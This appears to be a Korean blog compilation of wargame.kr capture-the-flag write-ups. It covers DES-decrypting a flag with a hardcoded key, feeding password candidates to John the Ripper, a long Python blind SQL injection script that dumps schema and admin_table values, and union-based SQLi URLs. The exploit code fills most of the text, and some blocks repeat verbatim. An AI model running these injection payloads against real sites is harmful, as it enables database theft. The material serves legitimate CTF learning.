즉 BluSH4G 값이 이름이면 뒤에 *을 붙여 BluSH4G* 가 Key와 IV가 된다는 것입니다.
이제 암호화된 값이 어디있는지 찾아야 하는데, 이는 getps라는 함수를 통해 값을 얻어옵니다.
동적 디버깅을 쭉 따라가다보면, wargame.kr에서 ps.php를 통해 암호화된 값을 가져우는 것을 확인할 수 있습니다.
이 값이 암호화된 flag값입니다.
또한 암호화된 값은 Base64로 인코딩 되어 있으며, 이는 위의 myEncrypt에서 설명하고 있습니다.
이제 알아낸 Key 값으로 위의 암호문을 복호화해보도록 하겠습니다.
복호화를 위해 따로 코드를 구현하지 않았고, online을 사용하였습니다.
이렇게 해서 Flag를 얻어낼 수 있었습니다.
저 Flag 값은 계속 바뀌게 됩니다.
만약 온라인이 별로라면?
import pyDes # Should install using pip module
import base64
class DES:
def __init__(self, iv, key):
self.iv = iv
self.key = key
def encrypt(self, data):
k = pyDes.des(self.key, pyDes.ECB, self.iv, pad=None, padmode=pyDes.PAD_PKCS5)
d = k.encrypt(data)
d = base64.b64encode(d)
return d
def decrypt(self, data):
k = pyDes.des(self.key, pyDes.ECB, self.iv, pad=None, padmode=pyDes.PAD_PKCS5)
data = base64.b64decode(data)
d = k.decrypt(data)
return d
if __name__ == '__main__':
iv = 'BluSH4G*'
key = 'BluSH4G*'
des = DES(iv, key)
enc_data = b"kyxBF9rAKXBIGi5KmChr0v+xDhZV/5BFNpLzRs4/tLj/BSXG+NKIlxVDw6Z7BZik"
dec_data = des.decrypt(enc_data)
print(dec_data)
이 문제를 해결하기 위해서는 md5_crypt를 공격할 수 있는 툴인 john the ripper를 사용하면 됩니다.
john은 kali 리눅스에 기본적으로 설치되어 있는 것으로 알고 있습니다.
저는 ubuntu 18.04에서 python 소스와 함께 공격을 수행하였습니다.
이 python3 소스를 이용하여 출력되는 각각의 값을 리눅스의 파이프를 이용하여 standard input으로 john the ripper에 넣어줍니다.
import itertools, string
character_set = string.ascii_lowercase + string.digits
min_len, max_len = 2, 10
for l in range(min_len, max_len):
for m in itertools.product(character_set, repeat=l):
print('G4HeulB' + ''.join(m)
이번 포스트에서는 ip log table 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
이번에는 Blind SQLi를 이용해야 하는 문제인만큼 간단하지만은 않은 문제입니다.
참과 거짓이 반환되는 영역을 찾아야 하기 때문에 시간도 오래걸리고...(제가 작성한 코드는 시간이 오래 걸리더군요..)
문제 풀이를 진행해보겠습니다.
문제 이해
문제는 다음과 같습니다.
문제에서 Blind SQLi를 이용하라고 하고 Ascii 값을 Date로 만들 수 있다고 합니다.
흠.. 일단 Blind SQL Injection을 위한 벡터를 찾기 위해 참과 거짓으로 구분되어 반환되는 영역을 찾아보도록 합시다.
문제로 들어가면 다음과 같은 표가 나타나게 됩니다.
login을 할 수 있는 부분과 클릭할 수 있는 표들이 보입니다.
로그인을 수행하는 부분은 참일 때 로그인 되고, 아닐 때는 로그인이 안 되는 것이지요.
이 부분은 참과 거짓이라기 보다는 참일 때와 거짓일 때가 구분이 아예 안 되는 부분입니다.(비번이 맞아야 참이니까... Bruteforcing 입니다.)
그렇다면 다른 부분을 찾아봐야 하는데...
표의 행을 클릭하면 다음과 같은 화면이 나타납니다.
여기서 POST로 전송하는 idx 값을 임의로 거짓이 되도록 조작해보니 다음과 같은 결과가 나타납니다.
이 부분에서 알 수 있었던 건 참일 때 1970-01-01이라는 날짜가 아니라는 것!
- 참일 때 1970-01-01이 아님
- 거짓일 때 1970-01-01임
이 부분을 이용하여 문제를 풀어보도록 하겠습니다.
문제 풀이
문제를 풀기 위해서는 코드를 작성해야 하는데...
코드 이해는 LOS 때 자주 해보았기 때문에 여기서는 코드 작성만 해보겠습니다.
순서는 SCHEMA 알아내기, TABLE 알아내기, COLUMN 알아내기 값 알아내기 입니다.
아래의 코드는 쭉 돌리면 나오기는 하지만, 편의를 위해 미리 count 수를 조작해두었습니다.
또한 이번 문제에서는 WHERE, LIKE가 필터링 되어 있어, 이렇게 무식한 Blind SQLi를 진행해야 했습니다...ㅠㅠ
'''
# GET SCHEMA Counts and Schema Name
# ip_log_table, information_schema
# 유실된 소스.... ㅠㅠ
if bit is 0:
bit += '0'
else:
# true ==> bit is 1
bit += '1'
#print('Find TABLE_NAME[{}][{}] [=] : {} {}'.format(schema_count-k, j, chr(int(bit,2)), bit))
tmp_schema_name += chr(int(bit,2))
print("GET SCHEMA_NAME[{}] [=] : {}".format(schema_count-k, tmp_schema_name))
schema_name.append(tmp_schema_name)
'''
repeat_count = 2
table_count = 2
table_name_length = []
table_name = []
column_count = 700
column_name_length = []
column_name = []
value_count = 0
value_name_length = []
value_name = []
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET COUNT OF TABLEs =-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET COUNT OF TABLEs
Done = False
while not Done:
payload = "1 or (select count(table_name)=" + str(table_count) + " from information_schema.tables)"
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
print('Keep Searching......... [=] : ', table_count)
table_count += 1
pass
else:
print("Find Count of TABLE [=] : ", table_count)
Done = True
table_count -= 1
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LEGNTH OF TABLE NAME -=-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF TABLE NAME
#for j in range(1, table_count+1):
for j in range(1, repeat_count+1): # 너무 많을 수 있으니...
for i in range(1, 100):
payload = "1 or (select length(table_name)={} from information_schema.tables limit {},1)".format(i, table_count-j)
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
pass
else:
print("Find Length of TABLE_NAME[{}] : {}".format(table_count-j, i))
table_name_length.append(i)
break
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LEGNTH TABLE NAMEs -=-=-=-=-=-=-=-=-")
# =================================================================
# GET TABLE NAMEs
bitLen = 8
#for k in range(table_count):
for k in range(repeat_count): # 너무 많을 수 있으니...
tmp_table_name = ""
# table name length
for j in range(1, table_name_length[k]+1):
bit = ''
# bit length
for i in range(1, bitLen+1):
payload = "1 or (select (substr(lpad(bin(ord(substr(table_name,{},1))),{},0),{},1)=1) from information_schema.tables limit {},1)".format(j, bitLen, i, table_count-k)
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
# false ==> bit is 0
bit += '0'
else:
# true ==> bit is 1
bit += '1'
#print('Find TABLE_NAME[{}][{}] [=] : {} {}'.format(table_count-k, j, chr(int(bit,2)), bit))
tmp_table_name += chr(int(bit,2))
print("GET TABLE_NAME[{}] [=] : {}".format(table_count-k, tmp_table_name))
table_name.append(tmp_table_name)
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET COLUMN COUNTs =-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET COLUMN COUNTs
Done = False
while not Done:
payload = "1 or (select count(column_name)="+str(column_count)+" from information_schema.columns)"
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
print('Keep Searching......... [=] : ', column_count)
column_count += 1
pass
else:
print("Find Count of COLUMN [=] : ", column_count)
Done = True
column_count -= 1
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LENGTH OF COLUMN NAME =-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF COLUMN NAME
for j in range(repeat_count+5):
for i in range(1, 100):
payload = "1 or (select length(column_name)={} from information_schema.columns limit {},1)".format(i, column_count-j)
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
pass
else:
print("Find Length of COLUMN_NAME[{}] : {}".format(column_count-j, i))
column_name_length.append(i)
break
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET COLUMN NAMEs -=-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET COLUMN NAMEs
bitLen = 8
for k in range(repeat_count+5):
tmp_column_name = ""
# column name length
for j in range(1, column_name_length[k]+1):
bit = ''
# bit length
for i in range(1, bitLen+1):
payload = "1 or (select (substr(lpad(bin(ord(substr(column_name,{},1))),{},0),{},1)=1) from information_schema.columns limit {},1)".format(j, bitLen, i, column_count-k)
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
# false ==> bit is 0
bit += '0'
else:
# true ==> bit is 1
bit += '1'
tmp_column_name += chr(int(bit,2))
print("GET COLUMN_NAME[{}] [=] : {}".format(column_count-k, tmp_column_name))
column_name.append(tmp_column_name)
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("SELECT COLUMN NAME -=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# SELECT COLUMN NAME
for i, cn in enumerate(column_name):
print('COLUMN_NAME [{}] : {}'.format(i, cn))
selected_column = int(input("Select COLUMN NAME(num) : "))
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUES COUNTs =-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUES COUNTs
Done = False
while not Done:
payload = "1 or (select count(*)="+str(value_count)+" from admin_table)"
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
print('Keep Searching......... [=] : ', value_count)
value_count += 1
pass
else:
print("Find Count of VALUEs [=] : ", value_count)
Done = True
value_count -= 1
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LENGTH OF VALUEs NAME =-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF VALUEs NAME
for j in range(value_count+1):
for i in range(1, 100):
payload = "1 or (select length({})={} from admin_table limit {},1)".format(column_name[selected_column], i, value_count-j)
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
pass
else:
print("Find Length of VALUEs_NAME[{}] : {}".format(value_count-j, i))
value_name_length.append(i)
break
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUEs =-=-=--=-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUEs
bitLen = 8
for k in range(value_count+1):
tmp_value_name = ""
# column name length
for j in range(1, value_name_length[k]+1):
bit = ''
# bit length
for i in range(1, bitLen+1):
payload = "1 or (select (substr(lpad(bin(ord(substr({},{},1))),{},0),{},1)=1) from admin_table limit {},1)".format(column_name[selected_column], j, bitLen, i, value_count-k)
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
# false ==> bit is 0
bit += '0'
else:
# true ==> bit is 1
bit += '1'
tmp_value_name += chr(int(bit,2))
print('GET VALUE [=] : {} {}'.format(tmp_value_name, bit))
print("GET VALUE[{}] [=] : {}".format(value_count-k, tmp_value_name))
value_name.append(tmp_value_name)
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("SELECT COLUMN NAME -=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# SELECT COLUMN NAME
for i, cn in enumerate(column_name):
print('COLUMN_NAME [{}] : {}'.format(i, cn))
selected_column = int(input("Select COLUMN NAME( 0 ~ ? ) : "))
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUES COUNTs =-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUES COUNTs
Done = False
while not Done:
payload = "1 or (select count(*)="+str(value_count)+" from admin_table)"
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
print('Keep Searching......... [=] : ', value_count)
value_count += 1
pass
else:
print("Find Count of VALUEs [=] : ", value_count)
Done = True
value_count -= 1
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET LENGTH OF VALUEs NAME =-=-=-=-=-=-=-")
# =================================================================
# GET LEGNTH OF VALUEs NAME
for j in range(value_count+1):
for i in range(1, 100):
payload = "1 or (select length({})={} from admin_table limit {},1)".format(column_name[selected_column], i, value_count-j)
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
pass
else:
print("Find Length of VALUEs_NAME[{}] : {}".format(value_count-j, i))
value_name_length.append(i)
break
print("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-")
print("GET VALUEs =-=-=--=-=-=-=-=-=-=-=-=-=-=-")
# =================================================================
# GET VALUEs
bitLen = 8
for k in range(value_count+1):
tmp_value_name = ""
# column name length
for j in range(1, value_name_length[k]+1):
bit = ''
# bit length
for i in range(1, bitLen+1):
payload = "1 or (select (substr(lpad(bin(ord(substr({},{},1))),{},0),{},1)=1) from admin_table limit {},1)".format(column_name[selected_column], j, bitLen, i, value_count-k)
data = {'idx' : payload}
res = requests.post(url=URL, headers=headers, verify=False, data=data)
if '1970-01-01' in res.text:
# false ==> bit is 0
bit += '0'
else:
# true ==> bit is 1
bit += '1'
tmp_value_name += chr(int(bit,2))
print('GET VALUE [=] : {} {}'.format(tmp_value_name, bit))
print("GET VALUE[{}] [=] : {}".format(value_count-k, tmp_value_name))
value_name.append(tmp_value_name)
소스가 매우 길다...
쓰다보니 이렇게 됐당...
위의 소스를 쭉 돌리다 보면 다음과 같은 형태로 나오게 될 것입니다.
보고자 하는 컬럼을 정해줘야 하니 Select COLUMN NAME(num)을 볼 때 COLUMN NAME 배열 순서를 선택해주시면 됩니다.
Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,table_schema,table_name,4,5 from information_schema.tables --
web_chatting이라는 table_schema(DB)에 chat_log와 chat_log_secret이라는 테이블이 있는 것을 볼 수 있었습니다.
Query(unquote) : http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=38419 union select 1,table_name,column_name,4,5 from information_schema.columns --